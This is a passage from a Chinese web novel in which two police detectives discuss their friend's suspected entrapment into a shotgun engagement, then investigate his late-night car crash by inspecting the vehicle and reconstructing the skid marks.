估计参加完向浩然的婚礼没多久,就要参加楚隽和安暖的婚礼了,这礼金是一个接着一个送啊,送的手软。 “说吧。”楚隽说:“怎么回事儿?你这订婚,还订出案子来了?” 向浩然又喝了一口酒,重重的放在桌上。 砰的一声,怪吓人的。 向浩然咬牙切齿的说:“郎若璃说,她怀孕了。” 大家都难免露出惊讶的表情来,只有安暖还挺淡定。 向浩然这一刻简直像是放大镜一样的仔细,他立刻就问安暖:“小安,你怎么一点都不吃惊呢,难道是已经知道了?” 安暖简直哭笑不得。 向浩然这是气疯了吗,这语气,幸亏她是女的,要不然就好像怀疑郎若璃肚子里的孩子是她的一样。 “我不知道。”安暖说:“我又不认识郎若璃,只是今天参加订婚宴,我感觉她有些仔细保养,坐下走路都很小心。你们的婚事又决定的那么快,所以猜她可能怀孕了而已。” 这是人之常情。 当一个人毫无征兆的结婚,就会有这样的猜测。 一件本来需要时间筹备的事情,变得着急慌忙。 为什么,因为不能等了。 不说向浩然,就是她和楚隽,要是按翟老爷子的意思,现在就开始准备结婚的话,也同样会有人这么猜测的。 奉子成婚,所以着急。 向浩然点了点头:“你观察得果然仔细,难怪刑警队要破格招你。” 这事情不是秘密,正好今天借着向浩然的订婚宴,楚隽见到了不少朋友。 他不至于打电话一个一个地说,可既然碰上了,特别是安暖也认识的朋友,就难免聊上几句。 自然就谈到了这事情。 因为等安暖正式入职了,楚隽是打算请客吃饭的。 这可是个大事。 就像是家里孩子升学宴一样。 安暖在京市有一了一个正式工作,这是融入这个城市的标志,也是进一步身份的认可。 安暖被夸得有些无语。 “你说说吧,到底是怎么回事?”安暖说:“我们给你分析分析,说不定你当局者迷,我们旁观者清。” 众人纷纷点头。 向浩然说:“我和郎若璃以前就认识,但是不熟悉,也就是普通朋友的关系。我不喜欢她,她也没喜欢过我啊。至少我从没觉得她喜欢我。” “半个月前的一天晚上,我在一家酒店碰见了她。那天晚上,我和家里闹了些不愉快,从家里出来,随便找了家酒店过夜。” 向浩然的记忆有点迷幻了:“因为心情不好,我就喝多了点酒,然后就睡了。睡知道半夜,郎若璃进了我的房间。” 安暖一听,总觉得这情节怎么这么熟悉呢? 有人心直口快:“你们睡了?” 真是关系好的朋友,不然都不能问得那么直接。 “……”向浩然又郁闷地喝了一口酒:“我也不知道,但是我早上一觉醒来,郎若璃就睡在我边上,没穿衣服。我……也没穿衣服。” “那不就是睡了吗?” “可我没什么感觉啊……”向浩然说:“而且我那天喝了很多酒,醉得人事不省。你们就说,那个状态下,能睡成吗?” 看得出来,向浩然现在已经把安暖当成一个合格的刑侦人员了,要不的话,不会当着一个未婚大姑娘的面,说这种事情。 楚隽还是条理分明的:“郎若璃为什么会出现在你的房间里?” “说是,我没有关好门,她走错了房间。”向浩然说:“那天晚上她也喝了不少酒,在酒店开了房间。她的房间,就在我隔壁。” 安暖沉默的听着。 向浩然继续道:“这事情当时就很尴尬。但因为是她闯进了我的房间,我们俩也没说出什么名堂来,她就跑了。我想不管是有关系还是没关系,都是个意外,也没有就强行把我们俩绑在一起的道理,于是就慢慢放下了。” 向浩然果然是个万花丛中过的人,所以发生了这种事情之后,才能放下。 说是慢慢放下,但估计也没几天。 毕竟这事情从发生到发展到现在这个地步,一共也就半个多月的时间。 这事情向浩然当然没有对任何人说,再好的关系也不能说,要一辈子烂在肚子里。要不然的话,他倒是无所谓,反正是个花花公子,但是对郎若璃的名声,是毁灭性的打击。 “可是没想到,四天前,郎家找上了门,说……郎若璃怀孕了。”向浩然的语气像是在梦游:“说是我的孩子,要我负责,要么结婚,要么,就去告我流氓罪。” 然后向浩然就被向爸爸关了起来。 两家火速商议了婚事,先订婚,让郎若璃安心,然后就结婚。 向浩然说完了,看着大家。 “如果这事情真是我的错,是我喝多了进错了门,跑到了郎若璃的房间里去,那我肯定愿意负责。别说跟她结婚,就是坐牢挨枪子儿,我也认了。”向浩然郁闷道:“可是我想来想去,怎么就觉得不对劲呢?” 第294章 没有亲子鉴定 向浩然十分郁闷的看着大家。 这事情不是什么光彩的事情,本来不想说出来。但心里这股郁结之气又实在是咽不下去。 现在说出来了,舒服多了,就不怕说的更清楚了。 “你们说说,我是不是被仙人跳了?” “那不至于。”隗文博实事求是的说:“你们家是不错,但郎家也不差。不管是她家的条件,还是郎若璃自己的条件,长相学历工作,都不差。她做局睡你,图什么?” 除非图真爱,要不然的话,还能图什么? 虽然向浩然认为是自己吃了亏,可大家想来想去,还是觉得郎若璃吃亏的可能性更大。毕竟向浩然不是什么清清白白大小伙,可郎若璃是个清清白白大姑娘啊。 于是向浩然更郁闷了。 “我不是说郎若璃差,但这事情不是这么办的啊。”向浩然纠结道:“我又不喜欢她,我觉得她也不喜欢我,就这么结婚,算怎么回事?” 莫名的,安暖看了看向浩然的脑袋。 向浩然也不知道为什么,总是若有若无的去看安暖。 他对安暖,还真了解。 比安暖对他要了解的多。 因为向浩然之前非常自信的打听过安暖,想要追求她那段时间,可不是得了解一下。 印象最深的,就是在局里图书室里的时候,跟周念川聊天,周念川说,安暖是个野路子刑侦。 他从未听人用野路子来形容一个刑侦人员。 当时就觉得很有趣,和周念川聊了好一会儿。 周念川说,所谓的野路子就是。 不按常理出牌,不按常理想事情,能站在不同的,甚至诡异的角度,想到正常人想不到的可能性。 有时候真是没道理,不合逻辑。 可世上的事千千万万,偏偏就有很多不讲道理,不合逻辑的。 要不然,怎么会有歪打正着这个词呢? 又一次的目光对视。 向浩然正好看见安暖再看他头顶,莫名伸手摸了一下。 然后毛骨悚然。 “你这是什么意思?” 安暖欲盖弥彰的收回手。 “没有,我没有什么意思。” 虽然安暖说着自己没有什么意思,但这意思可太明显了。 大家仿佛都看见了向浩然脑袋上的绿色。 绿帽子这种东西,即便是在温暖的室内,也是可以戴的。 还是楚隽开了口。 “你觉得,郎小姐肚子里的孩子,是你的吗?” 楚隽就是那么直接。 “我不知道。”向浩然纠结了一下:“当天的情况太混乱了,我确实在床上看见了血迹,当时我都懵了。可是后来我回过神来一想,又怎么都回忆不起一点儿细节。她说孩子是我的,我……我也不知道啊。” 安暖皱了眉头。 所以向浩然纠结的是这个。 他纠结的时间还有点晚。 要是在当时就觉得不对劲,直接将人拽住了,去医院一检查,这事情就很好弄清楚。 可是他察觉不对劲的时候,已经是几天之后了。 并且,几天之后,因为郎若璃没有找他,他也只是在心里嘀咕。 真正觉得大事不妙,是郎若璃找上门的时候。 也就是十几天之后,郎家找上门的时候。 这么久了,但是的事情是彻底说不清楚了。 这事情要是在她那个年代,非常好办,做一个亲子鉴定,什么问题都解决了。 可是亲子鉴定的技术在八十年代末才起步,现在的技术,现在主要的坚定方法,一个是血型鉴定,一个是白细胞抗原检测。 血型检测是通过检测父母和子女的血型,根据血型遗传规律排除亲自关系。 白细胞抗原检测,是通过白细胞表面的抗原类型,结合遗传规律进行概率性判断。只能说,准确度比血腥鉴定高一些。 可这两者只能排除亲子关系,无法百分百确定亲生关系,且存在一定误差。 更重要的是,需要等孩子生下来,才能鉴定。 现在郎若璃肚子里的孩子,只要她一口咬定是向浩然的,谁也不能说一个不字。 向浩然一把抓住楚隽的手。 “楚隽,这事情你可得帮我好好查一查,我不能给别人养孩子,我不能吃这哑巴亏啊。” 要是旁的事情,向浩然说不定就直接报警了。 但这事情不行。 他丢的起这个人,他家里丢不起这个人。 所以只敢偷偷摸摸的说给朋友听。 但凡是这消息传了出去,他爸都要把他打死。 如果真查出来,郎若璃确实有问题,那也就罢了。 要是查出来,没有问题,那这以后的日子可怎么过?两家的关系怎么处? 郎若璃肚子里还有向家的孩子,又怎么办? 现在就是再委屈,向浩然也不敢在外面吱一声。 楚隽皱起眉头。 他沉吟了一下。 “你这事情,说麻烦有点麻烦,但查起来,也不难。” 向浩然紧紧的握住了楚隽的手。 “大哥,这事情你给我弄明白,你就是我大哥。”向浩然热泪盈眶:“以后你们俩结婚,我给你包一个大红包。以后你生孩子,我再给你包一个大红包。” 楚隽哼了一声,甩开向浩然的手。 大红包什么的,他不在意。 只要别再坑自己就行。 之前为了宋又菱的事情,死乞白赖的追安暖,简直像是疯了一样,差一点兄弟都没得做。 向浩然一点都不介意楚隽的冷淡,连忙追问:“你是专业的,你说要怎么查?” “很简单。”楚隽说:“按照我们查案的流程,这个案件发生,是意外,还是蓄谋已久?查案发地,查涉案人员,查凶手的目的。和在这件事情里面,所有奇怪的人。” 郎若璃的房间和向浩然的房间紧挨着,这就是一个很难凑巧的巧合。 那么是谁开的房? 酒店里一定会有住客入住登记,才大半个月,记录肯定保存非常完好。 如果是郎若璃的登记在前,向浩然在后,可能真是个意外。 反过来,就不好说了。 如果酒店说,记录不见了,那酒店,也有人参与了此事。 楚隽拿出纸笔,一条条,一个环节一个环节的跟向浩然说。 第295章 车祸 如果这件事情是郎若璃一手策划的,那就接着查,他为什么要这么做。 郎若璃身上发生了什么事情,让她要设计向浩然。 是馋他身子,是馋他家业?还是……给肚子里的孩子找一个爸爸。 无论哪一个理由,这都不是个好办法。 事出蹊跷,必有妖。 向浩然本来是很烦躁的,但是被楚隽这么掰开来一说,慢慢冷静下来。 他沉吟着:“被你这么一说,我觉得心里有底了。离结婚还有十天时间,只要这十天内,能把事情弄清楚,让我爸妈知道我是被算计了,这门婚事就能取消。” 楚隽毫不客气地说:“要是十天内,弄不清楚呢?” 向浩然一拍大腿。 “那就结!” 不就是结婚吗?又不是个黄花大闺女,有什么害怕的。 大不了结完了,查出来之后,再离呗,多大点事情。 这一晚,向浩然虽然说得潇洒不羁不在乎,但其实郁闷得很,这从他喝得烂醉如泥就能看出来。 嘴硬罢了。 好在除了向浩然喝的酩酊大醉,其他叫来陪他的兄弟朋友喝的都不多,不用送。 只是一场喝酒聚会,变成了严肃的案件研讨会,由京市刑警队一把手楚隽同志主持,在一帮外行面前展开。 十点半,终于散了,因为向浩然倒下了。 “走吧,回家。”楚隽将车钥匙塞给安暖。 现在的交通法规和后世不太相同,因为有车的人少,路上的车也很少,又没有办法时时刻刻监控到位,所以很多规则相对宽松。 比如酒驾。 但是,安暖不太受得了这事情。 她之前就对楚隽晓之以情,动之以理。 不要酒驾,千万不要酒驾,不管有没有人管,咱们也不要酒驾。 酒精会降低人的判断,反应和操作能力。让视线模糊,视野变窄,难以准确判断车距和彻底。让反应变慢,遇到突发情况,无法及时避让。平衡感和协调性下降,操纵方向盘和刹车变得不稳定,容易引起车辆失控。 非常,非常的危险。 酒驾引发的事故中,致死率远高于正常驾驶,这是不仅危害自己,也危害他人的一种行为。 楚隽之前也不会做喝的醉醺醺开车这种事情,但有时候就喝了那么一两口,确实没那么在意。 不过安暖不是无病呻吟,她说的也没错。 当时他就表示,以后开车不喝酒,喝酒不开车,除非有十万火急的事情再酌情处理。 出了门,开车回三室套。 路上,两人也没怎么撩向浩然的事情。 这件事情虽然对向浩然带来了很大的困扰,但是对两名资深刑侦人员来说,总觉得不算是什么疑难杂症。 明天有空的时候,顺带着查一查就行了。 两人到了家,洗刷睡觉。 明天就是安暖第一天正式上班了,一定要以好的精神状态出现。正所谓,良好的开端是成功的一半。 所以今天晚上,安暖毫不犹豫地拒绝了楚隽亲亲抱抱举高高的睡前联络感情的提议,转身进房,关门睡美容觉去了。 好在她这是第二次上班了,也没有那么多新鲜紧张刺激。 不会失眠。 很快,安暖就睡了。 回家探亲这一趟可是消耗了不少精神,要缓好几天才能缓过来。 也不知道睡了多久,客厅里想起了刺耳的声音。 电话铃声在寂静的夜里格外的响。 安暖一下子就被吵醒了。 她立刻睁开了眼睛。 这可不是什么陌生的事情。 很多案子都是在夜里发生的,上辈子,半夜被手机铃声吵醒,然后五分钟穿衣服清醒出门加班的事情并不少见。 这辈子还好一点,至少到目前为止,还没有半夜被电话铃声吵醒过,这是第一次。 归根到底,安暖也想过是什么原因。 因为这个年代的夜生活少,夜晚有灯光的地方也少,在外面溜达的人更少。 所以即使有什么情况,夜里被发现的可能性也少许多。 今天晚上,是什么样的大事。 安暖希望不是老宅打过来的。 家里有老人的人,最害怕的事情就是半夜接到老人的电话。 心疼孩子的父母,除非是有什么过不去的大事,不然是绝对不会半夜吵醒孩子的。 这一点安暖深有体会。 上辈子,父亲有段时间生病住院。 那段时间,安暖有次半夜三点接到家里的电话,看见电话的一瞬间心就凉了一半。 接了电话一问,果然是急病突发。 隔壁房间响起了开门声,楚隽已经出去接电话了。 安暖定了定神,也起床出去看看。 如果是老宅的事情,她肯定要跟着一起回去。 如果是局里的突发案件,她现在也已经正式入职,是刑警队正经的队员了,也不能让队长自己去加班,自己装傻装什么都不知道。 安暖出了房间,客厅灯已经亮了,楚隽正在接电话。 不是什么好事,楚隽的神态非常严肃。 “好,我知道了,我马上就过去。”楚隽说:“你们不要太担心,会没事的。” 楚隽说完之后,挂了电话,一转头,安暖已经站在身后了。 “怎么回事?”安暖看楚隽那样子,心里沉甸甸的:“出什么事了?” 楚隽说:“向浩然出车祸了。” “车祸?”安暖惊了一下:“什么时候?” “一个小时前。”楚隽说:“送他回家之后,他醒了醒酒,又出了门。但是一直没回家,家里有些担心。正在想办法联系,医院给家里打了电话,说他出了车祸已经被送去医院抢救了。” 楚隽说着,转身回房:“这事情很奇怪,向叔叔给我打电话,我现在过去看一看。” 如果只是一场车祸,那叫他也没有用,他是刑警又不是交警。 但如果不是一场单纯的车祸呢? 那就要仔细查一查了。 向浩然现在牵扯在一件奇怪的姻缘里,是意外是人为,还真不好随意下结论。 安暖立刻道:“我陪你一起去。” “好。” 安暖立刻回房间穿衣服,也没有什么东西要拿的,拿了车钥匙,就和楚隽一起出了门。 第296章 谁都不可信 路上没有人,安暖将车开得飞快。 她知道楚隽虽然不说,但是很担心。 虽然之前向浩然有过一些神奇操作,但他和楚隽之间还是关系非常好的朋友,兄弟,哥们。要是向浩然出了什么事情,楚隽是会很难过的。 退一万步。 如果向浩然车祸事故很严重,真的无力回天,早一点赶过去,一方面看看有什么可以帮忙的,另一方面,也争取见上最后一面,说上最后几句话。 楚隽关心则乱,但安暖是旁观者,冷静沉着,想得仔细周到。 半个小时之后,车停在医院门口。 电话里楚隽就问清楚了具体地址,一路快走。 向浩然还在手术室里,手术室亮着灯,正在抢救。 向浩然的父母都在门口守着,坐也坐不住,来回走动。 还有家里熟悉的几个亲戚,都是楚隽认识的。 “小楚,你来了。”看见楚隽,向爸爸连忙迎了过来。 楚隽快步走过去。 “浩然现在情况怎么样了?” “不知道,哎,不太好。”向爸爸说:“不知道他为什么喝那么多酒还要去开车,车子撞在了路边墙上,医生说,断了几根肋骨,有一根插进了内脏。不幸中的万幸,那个地方不算太偏僻,正好有人经过,及时给送来了医院。送来的时候浑身是血人已经休克了,要是再迟上半个小时,那就是神仙也救不回来了。” 即便是现在,医生也不敢保证的说什么,只说尽力。 及时能救回来,这一次向浩然恐怕也要在床上躺上大半年了。 楚隽不是医生,向浩然的身体他没有任何办法,只能和所有人一样,祈祷祝福,希望医生能挽救他的性命。 但这么晚了,向爸爸把楚隽叫来,肯定不是让楚隽和他一起守在手术室外祈祷。 楚隽开门见山。 “向叔叔,你给我打电话,是不是有什么事情要说?浩然这次车祸,是意外,还是有什么情况?” 和刑警队的人说话,就是爽快。 向爸爸压低声音道:“小楚,不瞒你说,我怀疑浩然的车祸有问题。不是他不小心出了车祸,是人为的。” “怎么说?” “他今天是和你们聚会的,回来的时候虽然喝了不少,但情绪还不错。在家喝了醒酒汤,又躺了一会儿,跟他妈妈说了会儿话,酒已经醒的差不多了。” 这一点楚隽相信。 别看向浩然离开落日酒吧的时候,喝的是一副烂醉如泥的样子。 但大家这么多年的朋友了,谁还不了解谁啊。 今天,包厢里就没点度数高的酒,就是啤酒红酒,也没多点。 也没人灌向浩然的酒。 因为今天订婚宴,怕喝多了失态,他事先还吃了解酒药。 所以楚隽知道,今天向浩然喝多了,语气说是喝酒喝多了,倒不如说是因为心情不好,所以有了醉酒的心态。 向浩然和家里一起经商,那酒量是非常好的,他能喝多少酒,楚隽心里有数。 今晚这点酒,他就是想喝醉,所以喝醉了。 酒精摄入量非常有限,所以回家之后,喝了醒酒汤,又和家里人聊聊天什么的,确实可能就醒的七七八八了。 不是烂醉如泥,他开车又不是莽撞的,何况事情今晚上已经和他掰扯清楚了,更不可能有什么想不开的地方。 为什么会撞墙? 肋骨断了刺进内脏,这可不是小力度的撞。 要么是倒霉到了家,要么,这是撞的非常厉害了。 楚隽道:“有交警去处理了吗?现场怎么说?” 向爸爸说:“有,现场已经看过了,暂时说确实是意外。现场没有发现其他车辆的痕迹,车上也只有浩然一个人。” “那车子呢?”楚隽道:“车子是否检查过,有没有人动了什么手脚?” “暂时还不知道。”向爸爸说:“今天太晚了,车辆检查恐怕要到明天了。我现在得守着浩然,一时也抽不开身。” 楚隽点了点头:“我明白了。” 向爸爸有危机感。 他怀疑向浩然是被害的。 但是谁会害向浩然,他猜不出想不到,只能怀疑是身边的人。 人,一旦开始怀疑身边有人要害自己,就会谁都不信任。 所以向爸爸想来想去,想到了楚隽。 楚隽不但是向浩然最好的朋友,还是刑警队长,再没有比他更值得信任的人了。 “我知道这么晚了,太麻烦你了,还让你跑一趟。”向爸爸抱歉的看向安暖:“还有小安姑娘,让你也跑了一趟。” “不要紧。”楚隽说:“向浩然是我最好的兄弟,他出事我肯定不会袖手旁观。向叔叔,你就安心在这里陪着,我去安排。那车现在在什么地方?” “还在路上。”向爸爸说:“我安排了人守在那里,交警那边也是打算明天再处理现场。现在天黑了,怕有什么情况看不清楚。” “好,我知道了,我这就过去。”楚隽说:“你放心吧,我有这方面的熟人。” 对车辆熟悉的人,对现场痕迹熟悉的人,还有谁能比刑警队长更有职业优势呢。 当下,问了具体地址,楚隽就带了安暖离开了。 找医院办公室借了电话,楚隽打了几个电话出去,然后开车去现场。 现场已经拉起了警戒线。 这个地方虽然是在路边,但并不影响正常交通。 三岔路口,在转弯的地方的一个岔道边缘。 边上是一堵围墙,向浩然的车,就支离破碎的撞在围墙上,撞了满地零件。 安暖将车停下,和楚隽一起走了过去。 有两个年轻人就坐在一旁发呆,看见他们俩过去,连忙站了起来。 好在这两个人都认识楚隽,是向爸爸身边的助理。 “楚队长。”一个人说:“你来了。” 楚隽点了点头:“向总让我过来看看。” 那人一副松了口气的样子:“您快进来看,要给您打个灯吗?” “不用,我自己来。” 楚隽从车上拿了手电筒。 安暖也拿着手电筒。 半夜查看车祸现场,她梦回当年。 又是一个熬夜加班的日子。 第297章 重回现场 楚隽也查过和车祸相关的案子,当然都是人为的,交通事故不需要他查。 交通事故发生的时候,都是交警先处理的。如果发现有什么异常,才会转到辖区刑警。 楚隽答应向爸爸现在就介入插手,完全是看在和向浩然的交情上。 他毕竟不是专业的,还叫上了大刘。 大刘,是警局里车技最好的人,不单单是一个老司机,也是这方面的专家。 楚隽给他打了个电话,请他跑一趟,过来看一下情况。 都是同事,就算不是工作,私人的情面,大刘也是愿意帮忙的。 这个电话,是楚隽在医院就打了的。打完电话,向爸爸就让手下的人开自己的车去接,这会儿,估摸着也快要到了。 安暖开车技术虽然好,但对车的研究有限。 到了现场之后,先和楚隽简单检查了一下车辆的情况,开始检查四周。 安暖四下一看,先叹一口气。 “哎……” “怎么了?”楚隽会错意:“是不是累,你累的话回车上去休息,不必在这里陪我。” “不是。” 安暖摆摆手。 你不懂。 我不是累,我是习惯了半夜来案子加班的。 我只是可惜,这个年代没有天眼系统,要不然的话,向浩然的车经过这里,发生了什么情况一目了然,能剩下很多事情。 过了一会儿,大刘来了。 安暖也想学习学习相关知识,就跟在一旁听着。 大刘戴上手套,开始检查。 专业的人做专业的事,一看就很专业。 大刘检查完,得出结论。 向浩然的车没有任何问题,发动机,刹车,各方面一切正常,没有被人破坏过。 大刘说:“目前看来,这就是纯粹的驾驶事故。是源于驾驶员的操作失误。你们不是说,他之前喝了酒吗,可能还是喝酒的问题,酒后开车,确实是不好。” 大刘检查得很认真,楚隽也跟着看了。 车确实没有问题。 向爸爸觉得向浩然出事不是意外是人为,其实也没有什么证据,就是爱子心切,心里猜疑。 可如果车没有任何问题,那这就是一起交通事故。 自己负责,怪不得任何人。 楚隽谢了大刘,叫人将他送回家。 “奇怪了。”楚隽站在路边沉吟:“这么晚了,向浩然到底是要去哪里呢?他父母说也没接到电话,不是有人叫他出去的,是他自己要出去的。” “这我可不知道,我跟向浩然不熟悉。” 安暖不了解向浩然。 但是,安暖也觉得这个事情很奇怪。 “阿隽,你过来看这个路。” “怎么了?” 安暖说:“这是个岔路口没错,但我看来看去,这也不是个事故多发地段啊。从地上的刹车痕迹看……” 楚隽虽然惊艳了很多回,可还是有些意外。 “你还会看刹车痕迹呢?” “那当然,可别小看我。”安暖说:“从刹车痕迹看,发生变故的地方就在这里……向浩然的车家的方向过来,正常行驶,到了这个地方的时候,突然转弯。哎,上车去,我们按照这个路线走一遍看看。” 情景还原。 “行。” 两人走到车边,安暖说:“我来开车吧。” 楚隽犹豫了一下。 “你……我不是怀疑你的技术,但是……还是我来吧。” “没事儿,相信我。”安暖轻巧地从楚隽手里拿走钥匙:“我技术好着呢。你对这里比较熟悉,我开车,你看着外面。” 安暖都这么说了,楚隽也不能再说什么了。 安暖上了副驾驶。 “系好安全带。”安暖说:“别怕。” 楚隽无奈笑了一下。 “我不怕,你自由发挥。”楚隽给了安暖十分的信任。 安暖从来不是一个会逞强的人,行就是行,不行就是不行。她可不是个说瞎话的人。把自己的命交给安暖,楚隽十分放心。 安暖启动汽车,踩下油门。 大刘刚才说了,向浩然的车速很快,这也是出车祸的一个原因。 不好说的,但多少有点着急找死的样子。 安暖先将车开出去两百米,转弯往回开。 车速很快就上到了八十,差不多就是大刘估摸着,向浩然经过这里的时候的速度。 这个速度在高速公路上不算快,但是在市区就不慢了。 虽然晚上街道上没人,可这里有一个转弯。 向浩然是本地人,这条路走过千儿八百回了,闭着眼睛也知道这里有转弯,是应该提前减速的。 可是从车轮痕迹看,向浩然没有减速。 楚隽也不好说,但是在他心里,多少也是有这么一点想法。 在车轮转弯痕迹的地方,提前做了个记号。 安暖面不改色,八十的速度一路往前冲。 到了做着记号的地方,猛地一转方向盘,车往墙上撞去。 这是个三岔路口。 从一条路出来,要么往左,要么往右。 往墙上撞,是第四条路。 就在车要撞上墙的一瞬间,安暖踩下了刹车,一个急停。 两人都被安全带勒得往后一靠。 “你这车技……可真好。” 楚隽给了安暖一个大拇指。 车技好的人,不但要心细技术好,还得胆子大。胆子不大是不行的。 “还行吧。”安暖谦虚道:“天生的,学啥都快。” 但向浩然这车祸,就更奇怪了。 “想要撞上这面墙,不但要突然打方向盘,而且还得加速。”安暖说:“向浩然在那个地方……可能是碰见了什么东西,所以不但没有减速,还加速了。并且在慌乱的情况下,胡乱地打了方向盘。” 要不然的话,就算向浩然喝多了,也没有什么道理在这里打方向盘。 如果现在有大哥大,还有可能是在车里接到了电话受了刺激。 那现在呢? 莫非是突然窜出一个人,或者窜出个野猫野狗,惊了他? 如果向浩然能醒过来,那好办,到底发生了什么,他说出来一切真相大白。 就怕他醒不过来。 醒不过来,生前行为又有异常,这会成为家里人的一根刺。 死者已经过去,生者永远不能闭眼。 每次想起来,都会如鲠在喉。 第298章 不专一,遭雷劈 说着,两人一起望着黑漆漆,空荡荡的街头。 他们已经检查过路面了,路面上什么痕迹都没有。 没有猫狗的尸体,也没有血迹,没有脚印,没有散落的衣服鞋什么的。现场没有任何曾经撞上其他东西的痕迹。 汽车也只有撞上了墙的痕迹,没有撞上过任何其他的东西。 加上发现现场的人的口供,也证明当时只有一辆车一个人,没有其他情况。 楚隽道:“车里我也检查过了,里面也没有什么可疑。” 现场是没有什么了,推理也不能乱推理。 现在只能暂且认为这是个意外。 向浩然因为谁也不知道的原因出门,任何在这里,突然想起了什么,受了刺激,突然转方向盘,撞了墙。 两个小时后,楚隽回了医院。 向浩然还没有从手术室里出来。 只剩下向浩然父母在手术室外,看见楚隽回来,连忙站起身。 “怎么样?”楚隽道:“浩然的情况如何了?” “还在手术。”向妈妈抹了抹眼泪:“医生说还没有脱离危险期,人也一直还没有醒,已经输了好几袋子血了。” 不是什么好消息。 但还在抢救,证明人还没死,也只能这么安慰自己了。 说完向浩然的情况,向爸爸迫不及待地问起车祸的事情。 楚隽也如实相告了。 向爸爸听了,皱紧眉头。 他知道,以楚隽的经验,他说没有发现,那现场是真的没有意外的痕迹。 可是他心里,又实在不甘心。 楚隽说完之后,接着道:“向叔叔,其实现在还不能断定这是一场意外。虽然现场痕迹不能说明什么,但现在确实有两个疑点,尚未解决。” “是什么?” 楚隽道:“一是,浩然为什么会突然出门,要去哪里。二是,在路上无人,没有意外的情况下,他为什么会突然打方向盘。” 这两件,都是不合常理的事情。 这两件事情中少做了任何一件,都不会出这个车祸。 “是啊,这真是说不清楚。” 大家的目光一起看向手术室。 向浩然的父母虽然还不至于老,但他们生向浩然的时候就不年轻,如今也有五十岁了。身体也不是很好,这几天为了向浩然的婚事,也没有休息好。 今天晚上又来了这么一出,又熬了大半夜,眼见着非常憔悴。 楚隽想了想,说:“叔叔阿姨,这手术可能一时半会儿也做不完。不如你们先找个地方休息,一有情况了,我立刻通知你们。不然都这样熬着,等浩然出来了,你们也吃不消了。” 向浩然父母哪里放心得下,都不愿意走。 手术室外,只有冰冷的椅子。 楚隽想了想,干脆去找了医生,借了一张病床过来。 病床就放在手术室门口,大家劝着,让向妈妈上床去躺着等。 反正都是等,不离开手术室就行,至少身体可以放松,累了困了,也能闭会儿眼。 楚隽低声对安暖说:“我暂时不好走,你也先回去休息吧。等浩然从手术室里出来,看看情况,我再给你打电话。” 安暖想了想。 查案子,她跟着去没毛病。 但她和向浩然非亲非故的,在这里熬夜等他从手术室里出来,确实是没有这个必要了。 “我也不着急回去。”安暖说:“我刚才看见医院边上有个宾馆。” “对。” “我去宾馆开个房间休息一下,如果有什么事情,也可以及时过来。” 楚隽看了看时间,已经是早上四点了,现在回去,也睡不了几个小时了,也睡得不安稳。 而且,回家是要开车的。 虽然安暖的车技很好,但是刚经历了向浩然这一场惨烈的车祸,楚隽也不太想安暖半夜开车,叫人心里不安。 “好。”楚隽道:“我送你过去。” “不用,我自己过去就行。”安暖说:“就在隔壁,我走过去就行。” 严打期间,京市的治安还是挺好的,虽然是夜里,不去犄角旮旯,也没有什么危险。 安暖和向浩然父母打了招呼,去了宾馆,开了个房间休息。 这一晚上折腾的啊,也挺累的。 安暖躺上床,难免复盘一下这件事情。 最后得出一个结论。 人啊,千万不要有太多感情上的问题,向浩然这件事情,虽然目前没有任何证据证明和他的未婚妻有关,但是却隐约给人一种,自从那次之后,就不太顺畅的感觉。 “要做一个专一的人,不然就会厄运缠身。” 安暖,一个上辈子和这辈子都搞刑侦的专业人员,竟然得出了这样一个因果报应的理论,然后就睡觉了。 明天,是她第一天报到,是要去上班的。 楚隽是队长,可以请假,早上不去,她可不行。 虽然大家都知道她和楚隽是未婚夫妻,可那是私人关系。 私事是私事,公事是公事。 楚隽可以因为自己朋友的事故,请假处理,没人会说什么。 她要是因为楚隽朋友的事故,也跟着不上班,这算是什么事情?犯罪都不搞连坐了,请假难道还搞顺带吗? 安暖登记的时候,就跟前台打了招呼。 前台有叫醒服务。 不过没有等到前台来叫醒,楚隽就来了。 楚隽出示了证件,让前台来开了门,进了房间。 安暖还在睡觉。 她醒着的时候很敏锐,睡着了可不行,警觉程度和楚隽是不能比的。 一直到楚隽走到床边都没有醒。 直到楚隽在床边坐下,给了睡美人一个早安吻,安暖才……啪的一巴掌,把人推开了。 王子郁闷了。 安暖感觉自己好像打到了什么东西,睁开眼睛。 “你怎么来了?”安暖说:“怎么坐在地上?” 楚隽只好尴尬又不失礼貌的微笑了一下。 “给你带了早饭,过来喊你起床。”楚隽说:“别忘了,今天是你第一天报到。” “……”安暖一边挣扎坐起来,一边问:“向浩然怎么样了?” “已经出手术室了。”楚隽说:“医生说,命应该是保住了,但是人还没醒。不知道什么时候会醒。” 第299章 金钱观 “那就好。”安暖也算松了一口气。 都撞成这样了,不管怎么说,先把命保住再说其他。什么唤醒啊,并发症啊,能不能恢复健康,能不能活蹦乱跳,那都是下一步要考虑的事情。 楚隽将买来的早饭一样一样地放在桌上。 “赶紧洗漱了来吃饭。”楚隽说:“我和向浩然关系一直不错,他出了这么大的事情,我也不能坐视不管。今天我要处理一下他的事情,就不能陪你上班了。” “没事儿。” 安暖坐在桌边,敲开一个茶叶蛋。 “我是去上班的,又不是去游山玩水的,不用你陪。再说了,我又不是真第一天上班,局里的人我都认识。要是没案子,我就查一查以前的档案,看看书。要是有案子,就听江副队安排。” 好就好在这里。 虽然安暖今天是第一天有正式的身份,可她之前已经在局里待了一段时间了。 从局长副局长,到食堂大娘大门门卫,她没有一个不认识的,就是勉强硬要找,也找不出什么可以担心的地方。 “好。”楚隽道:“我送你去过去。” “不用。”安暖说:“我自己去就行。” “我送你。” 楚隽说:“我送你过去,车停在局里。我回家开另一辆。” 他们现在开的车,是安暖喜欢的越野。 之前楚隽送了安暖一辆车的使用权,但并不是这一辆。后来撞了车,碰巧也知道了安暖喜欢高大霸气的车,就干脆把越野给了她。 如今两人外出开一辆车的时候,也很少开楚隽习惯的那辆了,都是以越野居多。 “不用。”安暖说:“车你留下,你今天肯定要到处跑,没车不方便。我坐车过去就行,也不是没有公交,也很方便。” “不方便。”楚隽坚持:“听我的。” 还怪大男子主义的。 安暖撇了撇嘴。 “听我的,我送你去上班,然后把车停在单位。”楚隽道:“暖暖,你知道为什么,我要接送你,我要送你车吗?” “为了让我方便啊。”安暖想想:“因为你喜欢我啊。” 她可不是生在福中不知福,她当然知道,都是因为爱啊。 这还不明显吗? 就算是楚隽有钱有车,也不是随便满大街洒的啊。 “当然,这是主要原因。”楚隽道:“还有一个原因。” “是什么?” 